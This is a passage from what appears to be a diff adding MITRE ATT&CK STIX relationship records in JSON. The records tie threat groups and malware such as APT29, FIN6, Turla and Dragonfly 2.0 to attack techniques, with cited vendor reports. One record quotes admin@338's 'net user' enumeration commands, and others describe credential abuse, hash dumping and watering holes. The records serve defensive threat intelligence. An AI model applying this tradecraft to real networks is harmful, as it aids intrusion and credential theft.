"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has targeted manufacturers in the supply chain for the defense industry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--f1e20caf-cba3-4d4c-a5d4-0a06ce224b78", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "modified": "2019-03-22T20:15:19.380Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "source_name": "Symantec Elderwood Sept 2012", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[Carbanak](https://attack.mitre.org/groups/G0008) actors used legitimate credentials of banking employees to perform operations that sent them millions of dollars.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.041Z", + "id": "relationship--58882b0d-0f4a-4e12-b8c1-f43c53fd96f4", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.004Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) delivered [RATANKBA](https://attack.mitre.org/software/S0241) to victims via a compromised legitimate website.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--829f88fc-453a-40d1-8566-90dfe0934173", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.693Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "source_name": "RATANKBA", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--ade72dc6-559e-4a84-9024-1a862faec6a0", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.521Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can attempt to disable security features in Microsoft Office and Windows Defender using the taskkill command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--92e8e517-aac5-4d8f-9752-83ee0710f568", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.633Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used HTTP for C2 communications. [APT19](https://attack.mitre.org/groups/G0073) also used an HTTP malware variant to communicate over HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4a6c44ec-a1de-4fbc-88ef-d3003137a2fc", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-04-25T11:39:52.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT19", + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + }, + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to use multiple backdoors per campaign.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T21:43:14.128Z", + "id": "relationship--13f986d2-949b-42c8-bd4b-b8a833b9d5de", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.244Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "APT3 Adversary Emulation Plan", + "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.", + "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--773e99eb-0739-42d3-afaa-aff65e86329d", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.636Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.064Z", + "id": "relationship--a4106a52-b3e7-4aa9-b2ca-125f206dbf91", + "source_ref": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7", + "modified": "2019-04-22T15:06:12.694Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.060Z", + "id": "relationship--3b521f87-a77d-4c8d-8ab8-ffc6dbc3d62e", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.675Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "A module in [CozyCar](https://attack.mitre.org/software/S0046) allows arbitrary commands to be executed by invoking C:\\Windows\\System32\\cmd.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--04e4f0d1-32a9-4d64-a733-3316b0bf2740", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has collected files from a local victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.036Z", + "id": "relationship--38a72b32-dc04-493d-8b92-31174c32f3ed", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.168Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.026Z", + "id": "relationship--5a491b91-739f-498b-b8f2-b14aaea07893", + "source_ref": "course-of-action--0472af99-f25c-4abe-9fce-010fa3450e72", + "modified": "2019-10-08T19:24:28.979Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands following exploitation of a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to enumerate user accounts: net user >> %temp%\\download net user /domain >> %temp%\\download", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--c4962ae6-91e2-407d-9f42-aa0381574476", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.528Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list connected devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a0f1273a-e422-4801-a911-e7cb223ebea2", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[BADCALL](https://attack.mitre.org/software/S0245) collects the network adapter information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f966726b-ff17-4769-8514-e76be900aafa", + "source_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "source_name": "US-CERT BADCALL", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5ccd4b15-ef11-4b89-b0e1-4dd714fa2fb5", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.959Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) compromised legitimate organizations' websites to create watering holes to compromise victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f993e545-2d09-48c1-9b82-110ab798bdcf", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.413Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used multiple software exploits for common client software, like Microsoft Word and Adobe Reader, to gain code execution as part of.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5ca1f5dc-9573-46bb-a9db-fb83cd15b272", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.078Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Turla](https://attack.mitre.org/groups/G0010) may attempt to connect to systems within a victim's network using net use commands and a predefined list or collection of passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--5682d524-80f0-4fd8-9960-6f54eeafce96", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.688Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--3beb0c09-e584-4fd8-92bb-d7a1ae9192e6", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.577Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can download a remote access tool, [ShiftyBug](https://attack.mitre.org/software/S0294), and inject into another process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--88078d5c-bbc9-4c34-858f-e18d472d38d4", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used scheduled tasks to establish persistence for various malware it uses, including downloaders known as HARDTACK and SHIPBREAD and PoS malware known as TRINITY.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.071Z", + "id": "relationship--aea8401e-774e-47b1-86ac-220cacd11a3c", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.525Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.023Z", + "id": "relationship--03f30a17-095b-4656-a7db-87d98628dfd8", + "source_ref": "course-of-action--f6469191-1814-4dbe-a081-2a6daf83a10b", + "modified": "2019-08-12T19:49:12.692Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--85d0b364-01f8-4ed5-a0dd-a534ccfc7025", + "source_ref": "course-of-action--c7e49501-6021-414f-bfa1-94519d8ec314", + "modified": "2019-07-25T12:27:19.667Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6287195f-bb8e-45e2-8701-76ec2c5e7a60", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.657Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13", + "source_ref": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc", + "modified": "2019-07-25T11:13:41.605Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) steals data stored in the clipboard.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a804782a-fc22-43ab-a561-63007284bdf9", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) removes batch files to reduce fingerprint on the system as well as deletes the CAB file that gets encoded upon infection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f49125d8-1107-4798-8f6a-d1c6ce6f1de3", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.117Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) is heavily obfuscated in many ways, including through the use of spaghetti code in its functions in an effort to confuse disassembly programs. It also uses a custom XOR algorithm to obfuscate code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f75caad1-161a-4833-b3ec-f4538e1603fe", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.293Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed SecretsDump and CrackMapExec, tools that can dump password hashes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--206a6a93-9858-4f0b-b389-af1c28502118", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.417Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": 